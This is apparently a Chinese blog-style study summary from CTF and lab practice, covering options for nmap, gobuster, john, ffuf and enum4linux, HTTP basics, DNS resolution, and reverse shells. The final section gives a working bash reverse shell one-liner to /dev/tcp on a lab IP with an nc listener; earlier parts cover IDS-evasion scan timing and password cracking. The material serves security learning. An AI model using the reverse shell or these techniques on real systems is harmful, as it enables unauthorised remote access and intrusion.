目录
自己也打靶有一段时间了,但还没有系统地总结过一次,这次把之前用到的工具和一些知识点做一次总结。
一、工具篇
1.nmap---扫描器之王
nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。
基本功能:1.主机探测
2.端口扫描
3.版本检测
4.操作系统侦测
nmap提供防火墙与IDS(IntrusionDetection System,入侵检测系统)的规避技巧,可以综合应用到四个基本功能的各个阶段;另外Nmap提供强大的NSE(Nmap Scripting Language)脚本引擎功能,脚本可以对基本功能进行补充和扩展。
用法:nmap [Scan Type(s)] [Options] {target specification}
1.基本快速扫描:nmap 默认发送一个arp的ping数据包,来探测目标主机在1-10000范围内所开放的端口。
nmap target_ip1 (target_ip2...)
-v/-vv:列出扫描过程
-p:指定扫描端口号 :nmap -p range,22,80 target_ip(range为一个端口范围),-p- 扫描1-65535所有端口
-A:全面扫描,包括OS识别,版本探测,脚本扫描和traceroute
-O:操作系统侦测
-osscan-guess:猜测匹配操作系统,-O 扫描会不准确,因此用该选项来选择最匹配的系统
-oN file_path:扫描结果输出到指定文件
--script=类别:按照脚本扫描,脚本文档可以在官方查看NSEDoc Reference Portal — Nmap Scripting Engine documentation
-sC:根据端口识别的服务,调用默认脚本
Scan Techniques:
-sP:ping扫描,一般用来做内网主机发现
-PN:No Ping扫描,nmap进行其他扫描之前都会对目标进行ping扫描。如果目标对ping 扫描无反应将结束整个扫描过程。使用-PN参数可以绕过PING命令,但是不影响主机的系统的发现。
-sS:SYN半开放扫描,这种技术使得nmap不需要通过完整的握手,就能获得远程主机的信息。nmap发送SYN包到远程主机,但是它不会产生任何会话。因此不会在目标主机上产生任何日志记录。如果nmap命令中没有指出扫描类型,默认的就是Tcp SYN。
-sT:TCP扫描,Tcp connect()扫描需要完成三次握手,只适用于找出TCP和UDP端口。
-sU:UDP扫描,用来寻找目标主机打开的UDP端口,不需要发送任何的SYN包。
-sV:版本扫描,用来扫描目标主机和端口上运行的软件的版本,使用版本检测扫描之前需要知道开放了哪些端口(当然可以结合着其他扫描选项一起用即可)
-T<1-5>:时间模板
paranoid (0)、sneaky (1)、polite (2)、normal(3)、 aggressive (4)和insane (5)
paranoid、sneaky模式用于IDS躲避
Polite模式降低了扫描 速度以使用更少的带宽和目标主机资源。
Normal为默认模式,因此-T3 实际上是未做任何优化。
Aggressive模式假设用户具有合适及可靠的网络从而加速 扫描.
nsane模式假设用户具有特别快的网络或者愿意为获得速度而牺牲准确性。"namp常见用法就讲到这里,但nmap的强大还远不止此,更多使用方法可以参考官方文档"
2.gobuster---目录、文件和DNS爆破工具
主要模式:
- dir: 经典的目录暴力破解模式
- dns: DNS 子域名暴力破解模式
- s3: 枚举打开的 S3 存储桶并查找存在和存储桶列表
- vhost:虚拟主机暴力破解模式(与 DNS 不同!)
- fuzz: 模糊测试模式
常用选项:
-w<wordlist> wordlist_file_path:指定字典
-u URL/基本域名
-t<threads> 50:指定线程数(默认为10)
-v:详细输出
dir模式选项:
-a <user agent string>:指定要在请求标头中发送的用户代理字符串
-c <http cookies>:使用它来指定您可能需要的任何cookie(模拟身份验证)
-e:指定呈现完整URL的扩展模式
-f:附加/目录暴力
-k:跳过SSL证书的验证
-l:显示响应的长度
-n:“无状态”模式,禁用结果状态代码的输出
-o <file>: 指定要将输出写入的文件名
-p <proxy url> - 指定用于所有请求的代理(方案与URL方案非常匹配)
-r - 按照重定向
-s <status codes>- 逗号分隔的状态代码列表集合被视为“正面”(默认值:) 200,204,301,302,307
-x <extensions>:要检查的扩展名列表(如果有)
-P <password>:HTTP授权密码(仅限基本身份验证,如果缺少则提示)
-U <username>:HTTP授权用户名(仅限基本身份验证)
-to <timeout>:HTTP超时。示例:10s,100ms,1m(默认值:10s)
dns模式选项:
-cn:显示CNAME记录(不能与'-i'选项一起使用)
-i: 显示结果的所有dns对应IP地址
-d: 指主域名
-r: 指定DNS服务器
--wildcard:自动检测泛解析
3.john---密码破解工具
介绍:john是一款大受欢迎的、免费的开源软件。也是一个基于字典的快速破解密码的工具,是一款用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如 DES
、 MD4
、 MD5
等。john支持字典破解方式和暴力破解方式。它支持多种不同类型的系统架构,包括 Unix
、 Linux
、 Windows
、 DOS
模式、 BeOS
和 OpenVMS
,主要目的是破解不够牢固的 Unix/Linux
系统密码。
简单解密:使用 john 自带的一个简单的密码文件去解密,如果猜想用户的密码非常的简单例如 123456 这一类的可以使用这个命令 eg:john passwd.txt
--single:single crack 模式,使用配置文件中的规则进行破解;比如一个用户名user,则在用户名后加上数字:user123,user56等规则来破解
--wordlist=file_path/-w file_path:使用密码字典来破解
--rules:打开字典模式的词汇表切分规则
--restore[=NAME]:恢复被中断的破解过程,从指定文件或默认为 $JOHN/john.rec 的文件中读取破解过程的状态信息
--show:显示已破解口令
--fork=N:进程数
4.wfuzz,ffuf---模糊测试神器
这里主要将ffuf,因为感觉wfuzz能做的ffuf都能做
ffuf基本功能:
- 目录模糊爆破
- 子域名模糊爆破
- HTTP 方法模糊测试
参数选项:
-u: url地址
-w: 设置字典
-c: 将响应状态码用颜色区分,windows下无法实现该效果。
-t : 线程数,默认40
-p: 请求延时: 0.1、0.2s
-ac:自动校准fuzz结果
-H: Header头,格式为 “Name: Value”
-X: HTTP method to use
-d: POST data
-r: 跟随重定向
-recursion "num":递归扫描
-x: 设置代理 http 或 socks5://127.0.0.1:8080
-s: 不打印附加信息,简洁输出
-e: 设置拓展名;eg:-e .asp,.php,.html,.txt等
-o: 输出文本
-of: 输出格式文件,支持html、json、md、csv、或者all
-mc: Match HTTP status codes;eg:-mc 200-maxtime: Maximum running time in seconds for entire process. (default: 0)
-maxtime-job: Maximum running time in seconds per job. (default: 0)notes:尽量使用-maxtime-job与-recursion递归扫描一起使用,用于指定每个目录递归扫描时间,避免扫描时间过长
eg:
ffuf -u "http://127.0.0.1/test/.FUZZ" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .txt,.pub,.bak -mc 200
5.enum4liux---smb、samba专用扫描器
介绍:Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB服务有关的目标中快速提取信息。
使用:enum4liux 选项 ip eg:enum4linux -r 127.0.0.1
选项 | 功能 |
-U | 获取用户列表 |
-M | 获取机器列表 |
-S | 获取共享列表 |
-P | 获取密码策略信息 |
-G | 获取组和成员列表 |
-d | 详述,适用于-U和-S |
-u | user 用户指定要使用的用户名(默认为空) |
-p | 指定要使用的密码(默认为空) |
附加选择命令:
选项 | 功能 |
-a | 做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项 |
-h | 显示此帮助消息并退出 |
-r | 通过RID循环枚举用户 |
-R | RID范围要枚举(默认值:500-550,1000-1050,隐含-r) |
-K | 指定不对应次数n。继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用 |
-I(L的小写) | 通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN) |
-s | 文件暴力猜测共享名称 |
-k | user 远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)用于获取sid与“lookupsid known_username”,使用逗号尝试几个用户:“-k admin,user1,user2” |
-o | 获取操作系统信息 |
-i | 获取打印机信息 |
-w | 手动指定工作组(通常自动找到) |
-n | 做一个nmblookup(类似于nbtstat) |
-v | 详细输出,显示正在运行的完整命令(net,rpcclient等) |
二、基本知识篇
1.HTTP协议
HTTP 是一种超文本传输协议(Hypertext Transfer Protocol),那么我们将其分为三个部分:
1.超文本:图片、音频、视频,甚至点击文字或图片能够进行超链接的跳转的扩大的文本。
2.传输:两台计算机之间会形成互联关系进行通信,存储的超文本会被解析成为二进制数据包,由传输载体(例如光缆)负责把二进制数据包由计算机终端传输到另一个终端的过程称为传输。传输数据包的一方称为请求方,接到二进制数据包的一方称为应答方。
3.协议:网络协议就是网络中(包括互联网)传递、管理信息的一些规范。计算机之间的相互通信需要共同遵守一定的规则,这些规则就称为网络协议。
HTTP 是一个在计算机世界里专门在两点之间传输文字、图片、音频、视频等超文本数据的约定和规范。
HTTP 工作在应用层(这里不理解可以百度TCP/IP协议簇,或者看千峰的视频,我就是看千峰的视频,前面网络方面的知识讲的还不错哦)一般是明文传输,很容易被攻击者窃取重要信息,鉴于此,HTTPS 应运而生。HTTPS 的全称为 (Hyper Text Transfer Protocol over SecureSocket Layer)HTTPS 和 HTTP 有很大的不同在于 HTTPS 是以安全为目标的 HTTP 通道,在 HTTP 的基础上通过传输加密和身份认证保证了传输过程的安全性。HTTPS 在 HTTP 的基础上增加了 SSL 层,也就是说 HTTPS = HTTP + SSL。
HTTP 请求响应过程:
HTTP 协议主要由三大部分组成:
起始行(start line)
:描述请求或响应的基本信息;头部字段(header)
: 使用 key-value 形式更详细地说明报文;消息正文(entity)
: 实际传输的数据,它不一定是纯文本,可以是图片、视频等二进制数据。
起始行和头部字段并成为 请求头 或者 响应头,统称为 Header;
消息正文也叫做实体,称为 body。
HTTP 协议规定每次发送的报文必须要有 Header,但是可以没有 body。而且在 header 和 body 之间必须要有一个空行(CRLF)。
抓了个包可以看下:可以看出起始行都是由三个字段组成:方法、URL 字段和 HTTP 版本字段。
HTTP 请求方法:
GET 获取资源:GET 方法用来请求访问已被 URI 识别的资源。指定的资源经服务器端解析后返回响应内容。也就是说,如果请求的资源是文本,那就保持原样返回;
POST 传输实体:虽然 GET 方法也可以传输主体信息,但是便于区分,我们一般不用 GET 传输实体信息,反而使用 POST 传输实体信息;
PUT 传输文件:PUT 方法用来传输文件。就像 FTP 协议的文件上传一样,要求在请求报文的主体中包含文件内容,然后保存到请求 URI 指定的位置。PUT 方法自身不带验证机制,任何人都可以上传文件 , 存在安全性问题;
HEAD 获得响应首部:HEAD 方法和 GET 方法一样,只是不返回报文主体部分。用于确认 URI 的有效性及资源更新的日期时间等;
DELETE 删除文件:DELETE 方法用来删除文件,是与 PUT 相反的方法。DELETE 方法按请求 URI 删除指定的资源;
OPTIONS 询问支持的方法:OPTIONS 方法用来查询针对请求 URI 指定的资源支持的方法;
TRACE 追踪路径:TRACE 方法是让 Web 服务器端将之前的请求通信环回给客户端的方法;
CONNECT 要求用隧道协议连接代理,CONNECT 方法要求在与代理服务器通信时建立隧道,实现用隧道协议进行 TCP 通信。主要使用 SSL(Secure Sockets Layer,安全套接层)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加 密后经网络隧道传输。
HTTP报文:
请求报文结构:请求行、请求头、(空行)请求体
GET /sqli-labs-master/ HTTP/1.1
Host: 10.133.204.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
//GET请求方式一般不包含
第一行:请求方法(GET和POST等) URL地址(它和报文头的Host属性组成完整的请求URL) 协议名称及版本号
中间部分:是HTTP的报文头,报文头包含若干个属性,格式为“属性名:属性值”,服务端据此获取客户端的信息
最后一行:是报文体,它将一个页面表单中的组件值通过param=value的键值对形式编码成一个格式化串,它承载多个请求参数的数据。不但报文体可以传递请求参数,请求URL也可以通过类似于“/xxxx.com/index.php?param=value”的方式传递请求参数
总结如下图(该图片来源于百度):
常见的HTTP请求报文头属性:
Accept:Accept属性的值是MIME类型的值;MIME格式:大类型/小类型[;参数]
Connection: close:
表示的是浏览器需要告诉服务器使用的是非持久连接
。它要求服务器在发送完响应的对象后就关闭连接
响应报文结构:响应行、响应头、(空行)响应体
HTTP/2 200 OK
Date: Sat, 22 Oct 2022 04:33:40 GMT
Content-Type: text/html; charset=utf-8
Last-Modified: Mon, 17 Oct 2022 14:59:21 GMT
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cf-Cache-Status: DYNAMIC
Server: cloudflare
Cf-Ray: 75df8421cd833469-NRT
<!DOCTYPE html><html lang="en"><head>.....
2.域名解析过程
1.首先查看本地DNS缓存
2.查看本地HOSTS文件
3.DNS服务器解析
windows 系统 : HOSTS文件位置:C:\Windows\System32\drivers\etc\hosts
Linux 系统 : /etc/hosts
3.反弹shell
反弹shell原理:控制端监听某个端口,被控制端发起请求到该端口,并将命令行的输入输出传到控制端
nc:一个简单而有用的工具,通过使用TCP或UDP协议的网络连接去读写数据
-l:监听模式,用于入站连接
-L:连接关闭后,仍然继续监听
-n:指定数字的IP地址,不能用hostname
-o file:记录16进制的传输
-p port:本地端口号
-r:随机本地及远程端口
-s addr:本地源地址
-t:使用TELNET交互方式
-u:UDP模式
-v:详细输出--用两个-v可得到更详细的内容
-w:secs timeout的时间
-z:将输入输出关掉--用于扫描时
这里给出一个网站,可以生成各种反弹shell:Online - Reverse Shell Generator
记录一下bash反弹shell
1)在本机上启动监听端口
nc -lvp 4444
l:监听模式
v:输出详细信息
p:监听端口
2)在靶机上允许反弹shell
bash -i >& /dev/tcp/192.168.56.100/4444 0>&1
bash -i:打开一个交互式的bash
>&:将标准错误输出合并并重定向到标准输出,也可以写成&>
/dev/tcp/192.168.0.1/4444:调用socket,建立socket连接,其中192.168.0.1为要反弹的主机IP,4444为端口
0>&1:标准输入重定向到标准输出,实现你与反弹出来的shell的交互,可以接受用户输入,0>&1和0<&1作用相同
/dev/tcp 说Linux的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个bash命令行的过程中。
三种输入输出的状况:
标准输入:代码为0;或称为stdin;使用的方式为<
标准输出:代码为1;或称为stdout;使用方式为1>
错误输出:代码为2;或称为stderr;使用方式为2>